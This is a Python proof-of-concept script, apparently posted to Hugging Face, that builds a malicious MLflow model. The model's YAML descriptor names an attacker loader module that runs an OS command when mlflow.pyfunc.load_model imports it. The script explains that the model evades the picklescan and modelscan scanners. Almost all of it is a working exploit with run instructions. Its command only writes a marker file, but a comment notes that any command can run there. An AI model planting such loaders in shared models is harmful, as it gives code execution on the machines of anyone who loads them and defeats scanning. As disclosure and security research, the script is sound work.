hacnho's picture
Upload build_poc.py with huggingface_hub
4e1dfc9 verified
Raw
History Blame Contribute Delete
2.01 kB
#!/usr/bin/env python3
"""
PoC: a malicious MLflow model that picklescan and modelscan both report CLEAN,
yet executes an arbitrary OS command the moment mlflow.pyfunc.load_model() loads
it — with NO pickle anywhere in the artifact.
An MLflow model is a directory: an `MLmodel` YAML descriptor + supporting files.
The python_function flavor names a `loader_module` and a `code` directory.
On load, MLflow PREPENDS the model's `code/` dir to sys.path and does
`importlib.import_module(loader_module)`, so the attacker's loader module body
runs as Python at import time. Because the malicious payload is pure Python
source + YAML (no pickle bytes), picklescan finds nothing to scan
("Scanned files: 0") and modelscan skips the unsupported extensions
("No issues found!") — while load is full RCE.
Run: python build_poc.py # writes ./model/{MLmodel, code/evil_loader.py}
"""
import os
MARKER = "/tmp/mlflow_pyfunc_pwned.txt"
LOADER = '''\
# Attacker-controlled loader module. The MODULE BODY runs at import time;
# mlflow.pyfunc.load_model triggers it via importlib.import_module(loader_module).
import os
os.system("echo MLFLOW_PYFUNC_PWNED > %s") # benign marker; any command runs here
def _load_pyfunc(path):
class _M:
def predict(self, *a, **k):
return []
return _M()
''' % MARKER
MLMODEL = '''\
flavors:
python_function:
loader_module: evil_loader
code: code
python_version: 3.12.3
mlflow_version: 3.14.0
model_uuid: "00000000000000000000000000000000"
'''
def main():
os.makedirs("model/code", exist_ok=True)
with open("model/code/evil_loader.py", "w") as f:
f.write(LOADER)
with open("model/MLmodel", "w") as f:
f.write(MLMODEL)
print("wrote ./model/MLmodel and ./model/code/evil_loader.py")
print("scan: python -m picklescan -p model ; modelscan -p model (both clean)")
print("load: python -c \"import mlflow.pyfunc; mlflow.pyfunc.load_model('model')\" (RCE)")
if __name__ == "__main__":
main()